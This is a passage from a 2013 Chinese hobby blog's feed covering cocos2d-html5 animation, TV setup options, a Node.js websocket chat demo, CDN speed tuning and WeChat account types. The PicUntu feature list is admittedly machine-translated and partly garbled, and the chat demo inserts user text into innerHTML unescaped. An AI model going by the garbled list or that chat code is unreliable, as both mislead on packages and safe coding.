<p>准备好背景资源 ，写入<span style="font-family: 'Times New Roman';">resource.js</span></p>
<p>//BackGround</p>
<p>var s_ground=”res/ground.png”;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>var g_ressources = [</p>
<p>//Image</p>
<p>{type:”image”, src:s_ground},</p>
<p>];</p>
<p>&nbsp;</p>
<p>保存后就可以看到我们的场景了。</p>
<p>&nbsp;</p>
<p>是不是有些文不对题，因为中间的文字还没写完。</p>
<p>这个实现了人物的动画，左右跑动，可拖动对话框，同时使用websocket简单的进行了通讯，能够自动应答。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/09/QQ20130912033323.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/09/QQ20130912033323.png" alt="QQ20130912033323"></a> <a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/09/QQ20130912033357.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/09/QQ20130912033357.png" alt="QQ20130912033357"></a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>就是把以前学习的东西总结了一下，不然就完全不知道学过什么。</p>
<p>下载<span style="font-family: 'Times New Roman';">cocos2d-html5</span><span style="font-family: 宋体;">引]]>
    </summary>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[总结下家里装电视的方案]]></title>
    <link href="http://doubles.me/2013/08/28/874/"/>
    <id>http://doubles.me/2013/08/28/874/</id>
    <published>2013-08-28T03:01:25.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>这边拆迁，都搬家了，于是乎，我被叫去装电视了。、、还好不是修电视，专业对口修电脑就算了，为什么电视都要我修。</p>
<p>主要是有线电视一年300，还有初装费。也就是第一年680块一个。 家里有2台电视很正常的，还有3台的。</p>
<p>&nbsp;</p>
<h2 id="广电机顶盒"><a href="#广电机顶盒" class="headerlink" title="广电机顶盒"></a>广电机顶盒</h2><p>查询了一下要带多台电视的话有2种方式，</p>
<p>1、分线器，就是把信号源输出到2台电视上，另外一台电视通过遥控转接信号，因为2台电视是一样的画面，用处不大。</p>
<p>2、宾馆的实现方式，一个机顶盒固定一个台，也就是说如果要30个电视台需要30个盒子，然后通过一个切换器，就能让单台电视有30个台了。然后无论有多少电视都有这30个台。</p>
<p>这太贵了啊。。。。</p>
<p>&nbsp;</p>
<h2 id="卫星锅"><a href="#卫星锅" class="headerlink" title="卫星锅"></a>卫星锅</h2><p>一个锅子100块，好几十个电视台呢，安装的时候锅子要先45度角对天空的西南方，然后微微调整角度，看电视上的信号强度，</p>
<p>没有对到的话会没有信号，对到了会突然跳出来，起码要60以上的信号才能看哦。然后可以微调一下那个小盒子，不清楚是干什么的。不过新家还是不要放这个，除非在老城区，没人管的。</p>
<p>&nbsp;</p>
<h2 id="智能电视"><a href="#智能电视" class="headerlink" title="智能电视"></a>智能电视</h2><p>不过还好，很多都买的是智能电视，创维，长虹，TCL.接入网络，进入应用市场安装一个文件管理工具，然后u盘插入，安装u盘中的电视apk。 现在知道的有小鹰直播，搜狐直播，龙龙直播，vst视频 等等。如果不支持，需要找对应的驱动，然后adb push，这个就不好找了。</p>
<h2 id="ITV"><a href="#ITV" class="headerlink" title="ITV"></a>ITV</h2><p>电信活动，赠送了itv业务，一年也要200快哦，还有盒子要200块，贵的很，不过比机顶盒便宜啊。使用起来还不如android 电视盒子。移动也开始了，不过还要贵一点。</p>
<p>&nbsp;</p>
<h2 id="网络机顶盒"><a href="#网络机顶盒" class="headerlink" title="网络机顶盒"></a>网络机顶盒</h2><p>对于普通的电视，就需要买一个android 电视盒子了。小米，乐视盒子就别逗了。天敏，开博尔，美如画等等，最划算的是199买到一个开博尔的c2s，双核的哦。接入网络就能安装直播apk，然后遥控器，和机顶盒完全一样。不过这个必须要接入网络，为了流畅播放，最少30多寸的电视，总不能看网络标清的视频吧，必须要高清源，所以推荐4m以上，8m标准。实际上4m很卡了。如果是2台一起来的话，呵呵。。。</p>
<p>使用过程发现对于一些国外电台就是不能正常返回数据的呢，会卡住，等待响应。所有的直播软件都有这个问题。</p>
<p>&nbsp;</p>
<h3 id="附录："><a href="#附录：" class="headerlink" title="附录："></a>附录：</h3><p>最后记录一个，既然是双核 1G ram的android盒子，自然可以上linux，上linux意味着什么？大家懂的吧，然后找到神器，PicUntu Linux。</p>
<p>不过要先提醒一下，对android盒子的硬件不是很了解，可能这个会有驱动问题。缺失驱动很麻烦的。实际使用过程也不清楚会有哪些问题，所以如果不是特别蛋疼还是默认上android4.0吧。</p>
<p>&nbsp;</p>
<p>PicUntu是一个基于Ubuntu的UNIX环境，支持RK3066芯片组的设备上运行。</p>
<p>&nbsp;</p>
<p>下面是他的简单介绍：</p>
<p>&nbsp;</p>
<p>特点：</p>
<p>基于Ubuntu的Qantal 12.10</p>
<p>只有170MB。Picuntu-DA-server软件包，就可以下载更多的包，这取决于你的选择。</p>
<p>全面的菜单驱动的配置 - 没有更多的命令行 - 即使是在文本模式下。</p>
<p>全高清 - 1920 x 1080的分辨率</p>
<p>CPU频率 - 动态高达1.6GHz的时钟</p>
<p>内部WiFi - UG802，MK808。平衡跟随</p>
<p>使用菜单模式下配置以下</p>
<p>网络：支持WiFi，LAN，DHCP，静态的，网关，路由，域名服务器</p>
<p>声卡：</p>
<p>系统性能</p>
<p>网络工具</p>
<p>网页上播放Flash</p>
<p>管理服务</p>
<p>启动，停止，状态，重新启动正在运行的服务</p>
<p>可以安装PicUntu SD卡，USB拇指驱动器或USB硬盘（1TB希捷扩展驱动器上测试）</p>
<p>安装 - 您可以从中选择选择部分或全部以下的包</p>
<p>Apache，MySQL和的apache2与php5的mysql-server-5.5的phpmyadmin</p>
<p>邮件/绑定包：sendmail的mailutils的dnsutils bind9的fetchmail的</p>
<p>Windows网络文件服务器 - 桑巴</p>
<p>内容管理器：JOOMLA。安装和配置</p>
<p>媒体服务器</p>
<p>Webmin的安装和配置</p>
<p>XFCE</p>
<p>GNOME名单</p>
<p>的LibreOffice：LibreOffice的</p>
<p>闪光灯：浏览器插件咬牙切齿咬牙切齿咬牙切齿共同咬牙切齿CYGNAL咬牙切齿-dev的咬牙切齿工具</p>
<p>远程桌面服务器：tightvncserver xrdp的</p>
<p>Java：在与openjdk-7-jre的无头与openjdk-7-jre的lib目录的openjdk-7-jre的</p>
<p>Gcompiler：GCC GDB的gcc-4.7 CPP CPP-4.7与binutils-金的libgcc1-dbg的相关的autoconf automake的CPP-doc的autotools-dev</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2 id="安装手册"><a href="#安装手册" class="headerlink" title="安装手册"></a><strong>安装手册</strong></h2><p>你需要开始</p>
<p>当然，你的设备</p>
<p>UG802，或</p>
<p>MK808</p>
<p>如果工作imito MX1 - 没有测试，我们知道内部WIFI不工作</p>
<p>SD卡 - 4GB RAM是不够的，但是你可能需要更多，这取决于你想要做什么，你的Linux</p>
<p>可选：您也可以运行您的PicUntu，关闭USB拇指驱动器。但是，我的经验说，作为一个外部驱动器，它似乎会导致松散的连接问题，当你需要运行较长一段时间内为您的服务器，它会导致很多的跳动。</p>
<p>你需要Linux操作系统 -能够格式化，安装和复制文件。</p>
<p>即将推出：我们正在努力获取图像的Windows系统准备。待机。</p>
<p>您将需要Windows操作系统能够闪烁的内核映像。如果你的内核已经恢复图像闪烁着，你不需要Windows。</p>
<p>下载</p>
<p>访问PicUntu首页下载和安装说明。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>以上内容机器翻译，详细情况请看：<a href="http://code.google.com/p/rk3066-linux/" target="_blank" rel="external">http://code.google.com/p/rk3066-linux/</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>这边拆迁，都搬家了，于是乎，我被叫去装电视了。、、还好不是修电视，专业对口修电脑就算了，为什么电视都要我修。</p>
<p>主要是有线电视一年300，还有初装费。也就是第一年680块一个。 家里有2台电视很正常的，还有3台的。</p>
<p>&nbsp;</p>
<h2 i]]>
    </summary>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[百度云盘1TB]]></title>
    <link href="http://doubles.me/2013/08/22/870/"/>
    <id>http://doubles.me/2013/08/22/870/</id>
    <published>2013-08-22T06:14:59.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>今天网上看到百度云盘又送1TB了。</p>
<p>去年送了100g，早些时候放出一个bug 0.1元买100g。很成功的营销。</p>
<p>然后7月份0.2元续费去年的100G。</p>
<p>现在又送100G。。。。。</p>
<p>&nbsp;</p>
<p>坑爹呐，明年绝对有嵌入广告。</p>
<p>当时觉得很有问题为什么第二个任务会送360G那。</p>
<p>&nbsp;</p>
<p>果然，360立即回击，不要1块钱，直接领取1Tb+</p>
<p>&nbsp;</p>
<p>一共是666+360的容量，不要钱。他们这个容量完全是给着玩的嘛。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>今天网上看到百度云盘又送1TB了。</p>
<p>去年送了100g，早些时候放出一个bug 0.1元买100g。很成功的营销。</p>
<p>然后7月份0.2元续费去年的100G。</p>
<p>现在又送100G。。。。。</p>
<p>&nbsp;</p>
<p>坑爹呐，]]>
    </summary>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[站点速度优化]]></title>
    <link href="http://doubles.me/2013/08/15/862/"/>
    <id>http://doubles.me/2013/08/15/862/</id>
    <published>2013-08-15T13:25:35.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>换了个主题，所以想把速度也给也给优化一下。</p>
<p>这个博客是托管在openshift上的，所以国内经常访问不上，或者速度更不上。</p>
<p>首先是给添加了个cdn，由于太怕麻烦了，所以就supercache，添加了七牛的cdn。</p>
<p>缓存式，刚好有800的券。</p>
<p>然后在webkaka上测下全国访问速度，好吧解析不了，换<a href="http://17ce.com/" target="_blank" rel="external">http://17ce.com/</a>，一片飘红，经常有超过8s的。</p>
<p>然后发现百度也有分析的工具</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/08/QQ20130816000639.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/08/QQ20130816000639.png" alt="QQ20130816000639"></a> <a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/08/QQ20130816000705.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/08/QQ20130816000705.png" alt="QQ20130816000705"></a></p>
<p>这是去掉了代码高亮插件后的结果，2s很快了。代码高亮的差价加载了17个js。无语，删掉了。</p>
<p>再来看下全国的访问，应该是cdn生效了，我手工访问了些页面（缓存式的要第一次访问页面才会生成，当然指wp supercache）。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/08/QQ20130816001247.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/08/QQ20130816001247.png" alt="QQ20130816001247"></a></p>
<p>看，很多都是1，2s的，其他还是有被屏蔽的，唉，换自己vps上去感觉很麻烦啊，等我新域名到手再换过去吧。</p>
<p>好吧，再次看下自己vps上的wp程序，都是0.5s的，我晕，速度想域名了。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/08/QQ20130816002151.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/08/QQ20130816002151.png" alt="QQ20130816002151"></a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>换了个主题，所以想把速度也给也给优化一下。</p>
<p>这个博客是托管在openshift上的，所以国内经常访问不上，或者速度更不上。</p>
<p>首先是给添加了个cdn，由于太怕麻烦了，所以就supercache，添加了七牛的cdn。</p>
<p>缓存式，刚好有80]]>
    </summary>
    
      <category term="网站" scheme="http://doubles.me/tags/%E7%BD%91%E7%AB%99/"/>
    
      <category term="Web" scheme="http://doubles.me/categories/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[微信公众平台服务号、订阅号的相关说明]]></title>
    <link href="http://doubles.me/2013/08/12/859/"/>
    <id>http://doubles.me/2013/08/12/859/</id>
    <published>2013-08-12T00:03:28.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>什么时候改的我不清楚，不过很多大号被删掉了。</p>
<p>我现在都不看好这个的开发了，又没钱赚。</p>
<p>&nbsp;</p>
<p>一、服务号、订阅号的介绍（区别）</p>
<p>微信公众平台现在已分成订阅公众号和服务公众号两种类型。</p>
<p>公众平台服务号，是公众平台的一种帐号类型，旨在为用户提供服务。如：招商银行、中国南方航空。</p>
<p>公众平台订阅号，是公众平台的一种帐号类型，为用户提供信息和资讯。如：骑行西藏、央视新闻。</p>
<p>&nbsp;</p>
<p>二、服务号的功能</p>
<p>公众平台服务号，是公众平台的一种帐号类型，旨在为用户提供服务。如：招商银行、中国南方航空。</p>
<p>1、1个月（30天）内仅可以发送1条群发消息。</p>
<p>2、发给订阅用户（粉丝）的消息，会显示在对方的聊天列表中。</p>
<p>3、在发送消息给用户时，用户将收到即时的消息提醒。</p>
<p>4、服务号会在订阅用户（粉丝）的通讯录中。</p>
<p>5、可申请自定义菜单。</p>
<p>&nbsp;</p>
<p>三、订阅号的功能</p>
<p>公众平台订阅号，是公众平台的一种帐号类型，为用户提供信息和资讯。如：骑行西藏、央视新闻。</p>
<p>1、每天（24小时内）可以发送1条群发消息。</p>
<p>2、发给订阅用户（粉丝）的消息，将会显示在对方的订阅号文件夹中。</p>
<p>3、在发送消息给订阅用户（粉丝）时，订阅用户不会收到即时消息提醒。</p>
<p>4、在订阅用户（粉丝）的通讯录中，订阅号将被放入订阅号文件夹中。</p>
<p>5、订阅号不支持申请自定义菜单。</p>
<p>&nbsp;</p>
<p>四、订阅号、服务号设置方法</p>
<p>设置方法：进入公众平台=》设置=》帐号信息=》类型=》升为服务号/订阅号=》选择确定即可。</p>
<p>温馨提示：</p>
<p>1、公众号只有1次机会可以选择成为服务号/订阅号，类型选择之后不可修改，请慎重选择。</p>
<p>2、选择“服务号”时，若您之前公众号选择的是“个人类型”，需要您选择企业、媒体、政府、其他组织类型重新登记相关信息。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>什么时候改的我不清楚，不过很多大号被删掉了。</p>
<p>我现在都不看好这个的开发了，又没钱赚。</p>
<p>&nbsp;</p>
<p>一、服务号、订阅号的介绍（区别）</p>
<p>微信公众平台现在已分成订阅公众号和服务公众号两种类型。</p>
<p>公众平台服务号]]>
    </summary>
    
      <category term="微信公众平台" scheme="http://doubles.me/tags/%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%B9%B3%E5%8F%B0/"/>
    
      <category term="Web" scheme="http://doubles.me/categories/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Cocos2d 动画记录]]></title>
    <link href="http://doubles.me/2013/08/02/775/"/>
    <id>http://doubles.me/2013/08/02/775/</id>
    <published>2013-08-02T17:36:53.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>以后会些完整，如果有必要的话。 这里是学习的时候记录的一点。不是一个完整的教程</p>
<p>&nbsp;</p>
<p>一直不知道载入图像的函数，今天总算找到了，原来是<span style="font-family: 'Times New Roman';">texture</span><span style="font-family: 宋体;">，纹理集。</span></p>
<p>用这个对图片分段载入，然后我们可以实现一个动画。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>var diren = cc.Sprite.extend({</p>
<p>speed:220,</p>
<p>appearPosition:cc.p(300, 400),</p>
<p>ctor:function () {</p>
<p>&nbsp;</p>
<p>// needed for JS-Bindings compatibility</p>
<p>cc.associateWithNative( this, cc.Sprite );</p>
<p>&nbsp;</p>
<p>var shipTexture = cc.TextureCache.getInstance().addImage(‘res/diren.png’);//<span style="font-family: 宋体;">图片</span></p>
<p>this.initWithTexture(shipTexture, cc.rect(0, 0, 190, 110));  // <span style="font-family: 宋体;">图片框</span></p>
<p>this.setPosition(this.appearPosition);</p>
<p>&nbsp;</p>
<p>// set frame</p>
<p>var frame=new Array(); //<span style="font-family: 宋体;">图片数组</span></p>
<p>var animFrames = [];   //<span style="font-family: 宋体;">动画</span></p>
<p>for(var i=0;i&lt;15;i++)</p>
<p>{</p>
<p>if(i&lt;9){</p>
<p>frame[i] = cc.SpriteFrame.createWithTexture(shipTexture, cc.rect(0+i*190, 0, 190, 110));</p>
<p>} else{</p>
<p>frame[i] = cc.SpriteFrame.createWithTexture(shipTexture, cc.rect(0+(i-9)*190, 110, 190, 110));</p>
<p>}</p>
<p>animFrames.push(frame[i]);</p>
<p>}</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>// ship animate</p>
<p>var animation = cc.Animation.create(animFrames, 0.1);</p>
<p>var animate = cc.Animate.create(animation);</p>
<p>this.runAction(cc.RepeatForever.create(animate));</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>},</p>
<p>&nbsp;</p>
<p>update:function (dt) {  <span style="font-family: 宋体;">这里的代码会定时执行</span></p>
<p>&nbsp;</p>
<p>},</p>
<p>shoot:function (dt) {</p>
<p>},</p>
<p>destroy:function () {</p>
<p>},</p>
<p>hurt:function () {</p>
<p>},</p>
<p>&nbsp;</p>
<p>});</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>所有的节点会有一个叫<span style="font-family: 'Times New Roman';">scheduleUpdate</span><span style="font-family: 宋体;">的方法，这个方法执行一次之后会开始一个定时器，在每一帧绘制时候执行</span><span style="font-family: 'Times New Roman';">update</span><span style="font-family: 宋体;">方法。</span></p>
<p>我们在<span style="font-family: 'Times New Roman';">init</span><span style="font-family: 宋体;">方法的最后添加如下代码来启动定时器：</span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>this.scheduleUpdate();</p>
<p>然后创建用来被调用的<span style="font-family: 'Times New Roman';">update</span><span style="font-family: 宋体;">方法：</span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>update: function(dt) {</p>
<p>}</p>
<p>dt<span style="font-family: 宋体;">变量表示延迟时间。这是上次调用</span><span style="font-family: 'Times New Roman';">update</span><span style="font-family: 宋体;">方法之后至今的时间。</span></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>以后会些完整，如果有必要的话。 这里是学习的时候记录的一点。不是一个完整的教程</p>
<p>&nbsp;</p>
<p>一直不知道载入图像的函数，今天总算找到了，原来是<span style="font-family: 'Times New Roman';">textur]]>
    </summary>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[游戏内使用websocket通信]]></title>
    <link href="http://doubles.me/2013/08/02/773/"/>
    <id>http://doubles.me/2013/08/02/773/</id>
    <published>2013-08-02T17:32:53.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<div><br><br>Websocket<span style="font-family: 宋体;">实现比较简单，但是</span><span style="font-family: 'Times New Roman';">chrome firefox</span><span style="font-family: 宋体;">均存在不同问题</span><br><br>实现看附件就行了。<br><br>Nodejs，服务端代码<br><table><br><tbody><br><tr><br><td valign="top" width="568">var conns = new Array();var ws = require(‘websocket-server’);var server = ws.createServer();<br><br>server.addListener(‘connection’, function(conn)<br><br>{<br><br>console.log(‘connection….’);<br><br>conns.push(conn);<br><br>conn.addListener(‘message’,function(msg)<br><br>{<br><br>console.log(msg);<br><br>for(var i=0; i&lt;conns.length; i++)<br><br>{<br><br>if(conns[i]!=conn)<br><br>{<br><br>conns[i].send(msg);<br><br>}<br><br>}<br><br>});<br><br>});<br><br>server.listen(8080);<br><br>console.log(‘running……’);<br><br>&nbsp;</td><br></tr><br></tbody><br></table><br>客户端代码 <span style="font-family: 'Times New Roman';">html</span><br><table><br><tbody><br><tr><br><td valign="top" width="568">&lt;html&gt;&lt;head&gt;&lt;meta charset=”utf-8” /&gt;<br><br>&lt;script type=”text/javascript”&gt;<br><br>var host = ‘127.0.0.1’;<br><br>var port = 8080;<br><br>var url = ‘ws://‘+host+’:’+port+’/‘;<br><br>var w = new WebSocket(url);  //<span style="font-family: 宋体;">构建于服务器之间的连接通信</span><br><br>&lt;!–var audioElement = document.createElement(‘audio’);  –&gt;<br><br>&lt;!–audioElement.setAttribute(‘src’, ‘qqmsg.mp3’);–&gt;<br><br>w.onopen = function()//<span style="font-family: 宋体;">通过</span><span style="font-family: 'Times New Roman';">onopen</span><span style="font-family: 宋体;">事件句柄来监听</span><span style="font-family: 'Times New Roman';">socket</span><span style="font-family: 宋体;">的打开事件</span><br><br>{<br><br>$(‘chat-box’).innerHTML = ‘<span style="font-family: 宋体;">已连接到服务器</span><span style="font-family: 'Times New Roman';">……&lt;br/&gt;’;  </span><br><br>}<br><br>w.onmessage = function(e)//<span style="font-family: 宋体;">用</span><span style="font-family: 'Times New Roman';">onmessage</span><span style="font-family: 宋体;">事件句柄接受服务器传过来的数据</span><br><br>{<br><br>var msg = e.data;<br><br>var chatBox = $(‘chat-box’);<br><br>// audioElement.play();<br><br>chatBox.innerHTML = chatBox.innerHTML+msg+’&lt;br/&gt;’;<br><br>}<br><br>function send()//<span style="font-family: 宋体;">使用</span><span style="font-family: 'Times New Roman';">send</span><span style="font-family: 宋体;">方法向服务器发送数据</span><br><br>{<br><br>var talk = $(‘talk’);<br><br>var nike = $(‘nike’);<br><br>w.send(‘&lt;strong style=”color:red”&gt;’+nike.value+’:&lt;/strong&gt;’+talk.value);<br><br>}<br><br>function $(id)<br><br>{<br><br>return document.getElementById(id);<br><br>}<br><br>&lt;/script&gt;<br><br>&lt;/head&gt;<br><br>&lt;body&gt;<br><br>&lt;div id=”chat-box” style=”border:1px solid #cccccc; width:400px; height:400px; overflow:scroll;”&gt;&lt;/div&gt;<br><br>昵称<span style="font-family: 'Times New Roman';">:</span><br><br>&lt;input type=”text” id=”nike”/&gt;<br><br>&lt;br/&gt;<br><br>内容<span style="font-family: 'Times New Roman';">:</span><br><br>&lt;input type=”text” id=”talk”/&gt;<br><br>&lt;input type=”button” id=”send” onClick=”send();” value=”<span style="font-family: 宋体;">发送</span><span style="font-family: 'Times New Roman';">“/&gt;</span><br><br>&lt;/body&gt;<br><br>&lt;/html&gt;</td><br></tr><br></tbody><br></table><br>不要使用谷歌浏览器，会出现如下的错误：<span style="font-family: 'Times New Roman';">Error during WebSocket handshake: ‘Sec-WebSocket-Accept’ header is missing</span><br><br>原因如下：<br><br>因为<span style="font-family: 'Times New Roman';">websocket</span><span style="font-family: 宋体;">协议已经更新到</span><span style="font-family: 'Times New Roman';">13</span><span style="font-family: 宋体;">版本。</span><br><br>客户端发送数据格式类似这样：<br><br>GET /demo HTTP/1.1<br><br>Host: example.com<br><br>Connection: Upgrade<br><br>Sec-WebSocket-Key2: 12998 5 Y3 1  .P00<br><br>Sec-WebSocket-Protocol: sample<br><br>Upgrade: WebSocket<br><br>Sec-WebSocket-Key1: 4 @1  46546xW%0l 1 5<br><br>Origin: <a href="http://example.com" target="_blank" rel="external">http://example.com</a><br><br>^n:ds[4U<br><br>服务端返回的信息是：<br><br>HTTP/1.1 101 WebSocket Protocol Handshake<br><br>Upgrade: WebSocket<br><br>Connection: Upgrade<br><br>Sec-WebSocket-Origin: <a href="http://example.com" target="_blank" rel="external">http://example.com</a><br><br>Sec-WebSocket-Location: ws://example.com/demo<br><br>Sec-WebSocket-Protocol: sample<br><br>8jKS’y:G*Co,Wxa-<br><br>但是之前的版本是这样的：<br><br>客户端发送数据格式类似这样：<br><br>GET /chat HTTP/1.1<br><br>Upgrade: WebSocket<br><br>Connection: Upgrade<br><br>Host: www.zendstudio.net:9108<br><br>Origin: <a href="http://www.zendstudio.net" target="_blank" rel="external">http://www.zendstudio.net</a><br><br>Cookie: somenterCookie<br><br>此时服务端应该返回的信息是：<br><br>HTTP/1.1 101 Web Socket Protocol Handshake<br><br>Upgrade: WebSocket<br><br>Connection: Upgrade<br><br>WebSocket-Origin: <a href="http://www.zendstudio.net" target="_blank" rel="external">http://www.zendstudio.net</a><br><br>WebSocket-Location: ws://www.zendstudio.net:9108/chat<br><br>从这里我们太容易看出来，<span style="font-family: 'Times New Roman';">websocket</span><span style="font-family: 宋体;">协议的握手部分根本就是个类</span><span style="font-family: 'Times New Roman';">http</span><span style="font-family: 宋体;">的协议，所不同的是</span><span style="font-family: 'Times New Roman';">http</span><span style="font-family: 宋体;">每次都会有这样子的头信息交互，这在某些时候不得不显得很糟糕。而</span><span style="font-family: 'Times New Roman';">websocket</span><span style="font-family: 宋体;">只会执行一次这个过程，之后的传输信息就变得异常简洁了。</span><br><br>这里我们发现，<span style="font-family: 'Times New Roman';">version 13</span><span style="font-family: 宋体;">这个版本的</span><span style="font-family: 'Times New Roman';">websocket</span><span style="font-family: 宋体;">协议，与之前版本最大不同就是多了一个验证，客户端会发送一个“</span><span style="font-family: 'Times New Roman';">Sec-WebSocket-Key</span><span style="font-family: 宋体;">”的</span><span style="font-family: 'Times New Roman';">base64</span><span style="font-family: 宋体;">编码的密钥，要求服务端必须返回一个“</span><span style="font-family: 'Times New Roman';">Sec-WebSocket-Accept</span><span style="font-family: 宋体;">”，否则客户端会抛出一个“</span><span style="font-family: 'Times New Roman';">Error during WebSocket handshake: Sec-WebSocket-Accept mismatch</span><span style="font-family: 宋体;">”错误之后，关闭连接，当然，这个</span><span style="font-family: 'Times New Roman';">Sec-WebSocket-Accept</span><span style="font-family: 宋体;">的值是计算出来的。</span><br><br>谷歌<span style="font-family: 'Times New Roman';">14</span><span style="font-family: 宋体;">版本</span><span style="font-family: 'Times New Roman';">+</span><span style="font-family: 宋体;">支持新的标准，而</span><span style="font-family: 'Times New Roman';">websocket-server</span><span style="font-family: 宋体;">是按原来的版本写的。火狐也有类似的原因。</span><br><br><a href="http://blog.csdn.net/mayixixi/article/details/7700201" target="_blank" rel="external">http://blog.csdn.net/mayixixi/article/details/7700201</a> 看这里<br><br>也就是说使用<span style="font-family: 'Times New Roman';">websocket-server </span><span style="font-family: 宋体;">的话由于版本太低，</span><span style="font-family: 'Times New Roman';">chrome</span><span style="font-family: 宋体;">，</span><span style="font-family: 'Times New Roman';">firefox</span><span style="font-family: 宋体;">什么的不支持，只能有</span><span style="font-family: 'Times New Roman';">safari</span><span style="font-family: 宋体;">来测试。</span><br><br>方案<span style="font-family: 'Times New Roman';">2</span><span style="font-family: 宋体;">就是可以使用一个  </span><a href="http://socket.io/" target="_blank" rel="external">http://socket.io</a>  来解决。纯<span style="font-family: 'Times New Roman';">js</span><span style="font-family: 宋体;">的，提供了</span><span style="font-family: 'Times New Roman';">node.js</span><span style="font-family: 宋体;">（服务端）</span><br><br>当然可以自己实现<span style="font-family: 'Times New Roman';">websocket</span><span style="font-family: 宋体;">，都没有一个标准</span><br><br></div>]]></content>
    <summary type="html">
    <![CDATA[<div><br><br>Websocket<span style="font-family: 宋体;">实现比较简单，但是</span><span style="font-family: 'Times New Roman';">chrome firefox</span><spa]]>
    </summary>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[入手一个vps]]></title>
    <link href="http://doubles.me/2013/07/17/765/"/>
    <id>http://doubles.me/2013/07/17/765/</id>
    <published>2013-07-17T10:43:41.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>赵荣部落看到的，一年只要10刀，然后在微魔部落找到代付， 一共63块钱。</p>
<p><a href="http://www.zrblog.net/10955.html" target="_blank" rel="external">http://www.zrblog.net/10955.html</a></p>
<p>配置如下：</p>
<p>CPU：1 cores</p>
<p>内存：256MB</p>
<p>SWAP：256MB</p>
<p>硬盘：5 GB</p>
<p>月流量：256GB</p>
<p>1 IP/SolusVM</p>
<p>下面会持续更新一下如何跑上wordpress，再搭一个vpn的过程。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>赵荣部落看到的，一年只要10刀，然后在微魔部落找到代付， 一共63块钱。</p>
<p><a href="http://www.zrblog.net/10955.html" target="_blank" rel="external">http://www.zrblog.n]]>
    </summary>
    
      <category term="网站" scheme="http://doubles.me/tags/%E7%BD%91%E7%AB%99/"/>
    
      <category term="Web" scheme="http://doubles.me/categories/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[WordPress搭建一个微信公众平台网站]]></title>
    <link href="http://doubles.me/2013/07/16/763/"/>
    <id>http://doubles.me/2013/07/16/763/</id>
    <published>2013-07-16T16:21:15.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>需要使用微信制作一个旅游网站导航，所以这里介绍一下使用wordpress搭建整个网站的过程。</p>
<h1 id="需求："><a href="#需求：" class="headerlink" title="需求："></a>需求：</h1><p>1.网页中要加入预定功能</p>
<p>2.评论，预定最好和微信信息绑定</p>
<p>3.需要加入一个地图插件，在说明里可以展示地图</p>
<p>4.首页需要有一个图片轮播，</p>
<p>5.微信当然有后台管理咯</p>
<h1 id="方案："><a href="#方案：" class="headerlink" title="方案："></a>方案：</h1><p>1.使用带有预定功能的主题，或者metro 风格的主题（自带地图）</p>
<p>比如wordpress hotel press ，但是修改的内容则比较多，所以废弃了。</p>
<p>2.使用一个手机主题，然后制作一个页面作为首页。</p>
<p>使用 form manageer 制作预定表单，</p>
